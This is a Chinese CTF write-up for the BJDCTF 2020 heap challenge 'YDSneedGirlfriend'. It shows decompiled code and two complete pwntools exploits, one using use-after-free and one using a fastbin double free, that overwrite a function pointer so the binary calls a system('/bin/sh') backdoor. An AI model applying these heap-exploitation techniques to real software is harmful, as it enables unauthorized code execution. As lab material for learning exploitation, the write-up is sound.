NSSCTF [BJDCTF 2020]YDSneedGirlfriend
题解前小言:浅浅学了一下double free,可能是用在这题会比较麻烦吧
[BJDCTF 2020]YDSneedGirlfriend
1.准备
motaly@motaly-VMware-Virtual-Platform:~$ file girlfriend
girlfriend: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /home/motaly/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so, for GNU/Linux 2.6.32, BuildID[sha1]=9b27216b491d0602378075540c37930a6c24435b, not stripped
motaly@motaly-VMware-Virtual-Platform:~$ checksec --file=girlfriend
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO Canary found NX enabled No PIE No RPATH RW-RUNPATH 86 Symbols No 0 2 girlfriend
更改题目libc版本
motaly@motaly-VMware-Virtual-Platform:~$ patchelf --set-interpreter /home/motaly/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so ./girlfriend
motaly@motaly-VMware-Virtual-Platform:~$ patchelf --set-rpath /home/motaly/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ ./girlfriend
motaly@motaly-VMware-Virtual-Platform:~$ ldd girlfriendlinux-vdso.so.1 (0x0000731356425000)libc.so.6 => /home/motaly/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6 (0x0000731356000000)/home/motaly/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so => /lib64/ld-linux-x86-64.so.2 (0x0000731356427000)
我这里用的是2.23-0ubuntu11.3_amd64
2.ida分析
main函数
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{int n2; // eaxchar buf[8]; // [rsp+0h] [rbp-10h] BYREFunsigned __int64 v5; // [rsp+8h] [rbp-8h]v5 = __readfsqword(0x28u);myinit(argc, argv, envp);while ( 1 ){while ( 1 ){menu();read(0, buf, 4uLL);n2 = atoi(buf);if ( n2 != 2 )break;del_girlfriend();}if ( n2 > 2 ){if ( n2 == 3 ){print_girlfriend();}else{if ( n2 == 4 )exit(0);
LABEL_13:puts("Invalid choice");}}else{if ( n2 != 1 )goto LABEL_13;add_girlfriend();}}
}
开头一个堆题正常的菜单,有增删查功能
add函数
unsigned __int64 add_girlfriend()
{__int64 v0; // rbxint i; // [rsp+8h] [rbp-28h]int size; // [rsp+Ch] [rbp-24h]char buf[8]; // [rsp+10h] [rbp-20h] BYREFunsigned __int64 v5; // [rsp+18h] [rbp-18h]v5 = __readfsqword(0x28u);if ( count <= 10 ){for ( i = 0; i <= 9; ++i ){if ( !*(&girlfriendlist + i) ){*(&girlfriendlist + i) = malloc(0x10uLL);if ( !*(&girlfriendlist + i) ){puts("Alloca Error");exit(-1);}*(_QWORD *)*(&girlfriendlist + i) = print_girlfriend_name;printf("Her name size is :");read(0, buf, 8uLL);size = atoi(buf);v0 = (__int64)*(&girlfriendlist + i);*(_QWORD *)(v0 + 8) = malloc(size);if ( !*((_QWORD *)*(&girlfriendlist + i) + 1) ){puts("Alloca Error");exit(-1);}printf("Her name is :");read(0, *((void **)*(&girlfriendlist + i) + 1), size);puts("Success !Wow YDS get a girlfriend!");++count;return __readfsqword(0x28u) ^ v5;}}}else{puts("Full");}return __readfsqword(0x28u) ^ v5;
}
这里是添加堆块,创建的时候会先创建一个0x10大小的结构块,再是自定义大小的内容块
delete函数
unsigned __int64 del_girlfriend()
{int count; // [rsp+Ch] [rbp-14h]char buf[8]; // [rsp+10h] [rbp-10h] BYREFunsigned __int64 v3; // [rsp+18h] [rbp-8h]v3 = __readfsqword(0x28u);printf("Index :");read(0, buf, 4uLL);count = atoi(buf);if ( count >= 0 && count < count ){if ( *(&girlfriendlist + count) ){free(*((void **)*(&girlfriendlist + count) + 1));free(*(&girlfriendlist + count));puts("Success");}}else{puts("Out of bound!");}return __readfsqword(0x28u) ^ v3;
}
这里释放后,没修改指针,存在UAF漏洞
show函数
unsigned __int64 print_girlfriend()
{int count; // [rsp+Ch] [rbp-14h]char buf[8]; // [rsp+10h] [rbp-10h] BYREFunsigned __int64 v3; // [rsp+18h] [rbp-8h]v3 = __readfsqword(0x28u);printf("Index :");read(0, buf, 4uLL);count = atoi(buf);if ( count >= 0 && count < count ){if ( *(&girlfriendlist + count) )(*(void (__fastcall **)(_QWORD))*(&girlfriendlist + count))(*(&girlfriendlist + count));}else{puts("Out of bound!");}return __readfsqword(0x28u) ^ v3;
}
正常的输出
backdoor函数(后门函数)
int backdoor()
{puts("YDS get N+ girlfriend!");return system("/bin/sh");
}
直接的连接点system("/bin/sh")
连接地址为0x400B9C
3.EXP
总思路
我们要想办法把一个堆块的结构块变成内容块,来写入连接地址,最后输出那个堆块来触发连接
思路1(UAF):
这题有UAF和后门
1.我们可以通过创建两个堆块后,同时删除
2.然后添加结构块大小的堆块,写入连接地址,达到连接地址写入0块结构块的目的
3.最后输出一下0块,触发连接
先创建两个堆块,不用太大,这题不用unsorted bin来获得libc基址,我选用的0x30大小
from pwn import *
context.log_level = "debug"
# io=remote('node4.anna.nssctf.cn',28634)
io= process('/home/motaly/girlfriend')
libc=ELF('/home/motaly/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')def add(size,data):io.sendlineafter("Your choice :", "1")io.sendlineafter("Her name size is :", str(size))io.sendlineafter("Her name is :", data)def delete(index):io.sendlineafter("Your choice :", "2")io.sendlineafter("Index :", str(index))def show(index):io.sendlineafter("Your choice :", "3")io.sendlineafter("Index :", str(index))backdoor=0x400BAAadd(0x30,'aaa')
add(0x30,'bbb')
我们把0块和1块都释放掉
backdoor=0x400B9Cadd(0x30,'aaa')
add(0x30,'bbb')delete(0)
delete(1)
因为fastbin对释放堆块的大小分配管理,这里结构块分配到了一起,内容块分配到了一起
并且fastbin是单向链表,采用LIFO 机制(后进先出原则),所以这里先释放0块后释放1块,导致1块的结构块地址在外,0块在内
backdoor=0x400B9Cadd(0x30,'aaa')
add(0x30,'bbb')delete(0)
delete(1)add(0x10,p64(backdoor))
此时,我们在添加一个0x10大小的堆块,先是自带的结构块0x10,我们自带的也是0x10,就会把fastbin中0x20那一条全都读取出来
(虽然我们创建的是0x10大小,但考虑预留空间等因素,程序会给我们比我们创建堆块大小多大概0x10左右的空间)
也就是系统会把0块和1块的结构块分配给我们当作新堆块的结构块和内容块,按照后进先出原则,1块结构块作为新堆块的结构块,0块结构块作为新堆块的内容块
在我们创建的同时写入连接地址,就可以成功把连接地址写入0块的结构块,也就是改了0块的指针,使其指向了连接地址
最后我们输出一下0块,触发连接
backdoor=0x400B9Cadd(0x30,'aaa')
add(0x30,'bbb')delete(0)
delete(1)add(0x10,p64(backdoor))
show(0)
脚本:
from pwn import *
context.log_level = "debug"
# io=remote('node4.anna.nssctf.cn',28634)
io= process('/home/motaly/girlfriend')
libc=ELF('/home/motaly/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')def add(size,data):io.sendlineafter("Your choice :", "1")io.sendlineafter("Her name size is :", str(size))io.sendlineafter("Her name is :", data)def delete(index):io.sendlineafter("Your choice :", "2")io.sendlineafter("Index :", str(index))def show(index):io.sendlineafter("Your choice :", "3")io.sendlineafter("Index :", str(index))backdoor=0x400B9Cadd(0x30,'aaa')
add(0x30,'bbb')delete(0)
delete(1)add(0x10,p64(backdoor))
show(0)
io.interactive()
思路2(Double free)(不推荐使用这个方法):
这题有UAF和后门,还有一个思路是用Double free(一个堆块释放两次)
(由于free()
时候检查了 fastbin 头部指向的 chunk 和被free()
的 chunk 是否相等,即检查是否两次free()
了同一个 chunk。所以不能通过直接free()
同一个 chunk 来进行 double free,还检查了 fastbin 里的 chunk 的 size 大小是否符合该 fastbin 的大小。
分配两个 chunk,分别命名为 chunk0 和 chunk1,然free(chunk0);free(chunk1);free(chunk0)
就可以绕过上面的检查来进行 double free。)
1.我们先创建两个堆块0块和1块
2.在以释放0块,释放1块,释放0块的方式进行double free
3.然后通过创建堆块,来达到我们写入的连接地址在堆块的结构块中的目的
4.最后输出一下写入连接地址在结构块的堆块
先创建两个堆块,不用太大,要在fast bin中,这里我是创建了0x10,这样结构块和内容块大小一样,方便操作
from pwn import *
context.log_level = "debug"
# io=remote('node4.anna.nssctf.cn',28634)
io= process('/home/motaly/girlfriend')
libc=ELF('/home/motaly/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')def add(size,data):io.sendlineafter("Your choice :", "1")io.sendlineafter("Her name size is :", str(size))io.sendlineafter("Her name is :", data)def delete(index):io.sendlineafter("Your choice :", "2")io.sendlineafter("Index :", str(index))def show(index):io.sendlineafter("Your choice :", "3")io.sendlineafter("Index :", str(index))backdoor=0x400B9Cadd(0x10,'aaa')
add(0x10,'bbb')
在以释放0块,释放1块,释放0块的形式释放堆块
backdoor=0x400B9Cadd(0x10,'aaa')
add(0x10,'bbb')delete(0)
delete(1)
delete(0)
这里可以看一下double free前后fast bin中链的对比
在对0块进行double free后,fast bin链表会变成0->1<-0的情况,此时我们创建一个0x10大小的堆块,会申请出0块,0块是已经创建的堆块,但0块结构块还在fast bin中,这里就有double free造成的UAF漏洞
backdoor=0x400B9Cadd(0x10,'aaa')
add(0x10,'bbb')delete(0)
delete(1)
delete(0)
gdb.attach(io)
add(0x10,'ccc')
add(0x40,'ddd')
add(0x10,p64(backdoor))
此时,我们先添加一个0x10大小的堆块,把原先的0块申请出来
在随便创建一个不是0x10大小的堆块,来消耗掉一个fast bin中的地址
(我不是很清楚,为什么double free后fast bin中原先的0块只有一个结构块地址,使得最后是5个地址,不过这个问题不大)
消耗的原因是我们的目的要把原先0块的结构块在后面申请的时候当作内容块申请出来,并写入连接地址,不消耗最后原先0块的结构块地址还是当作结构块申请出来,没法写入数据和最后的调用
最后创建一个0x10大小的堆块并写入连接地址
最后我们输出一下0块,触发连接
backdoor=0x400B9Cadd(0x10,'aaa')
add(0x10,'bbb')delete(0)
delete(1)
delete(0)add(0x10,'ccc')
add(0x40,'ddd')
add(0x10,p64(backdoor))show(0)
脚本:
from pwn import *
context.log_level = "debug"
# io=remote('node4.anna.nssctf.cn',28634)
io= process('/home/motaly/girlfriend')
libc=ELF('/home/motaly/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')def add(size,data):io.sendlineafter("Your choice :", "1")io.sendlineafter("Her name size is :", str(size))io.sendlineafter("Her name is :", data)def delete(index):io.sendlineafter("Your choice :", "2")io.sendlineafter("Index :", str(index))def show(index):io.sendlineafter("Your choice :", "3")io.sendlineafter("Index :", str(index))backdoor=0x400B9Cadd(0x10,'aaa')
add(0x10,'bbb')delete(0)
delete(1)
delete(0)add(0x10,'ccc')
add(0x40,'ddd')
add(0x10,p64(backdoor))show(0)
io.interactive()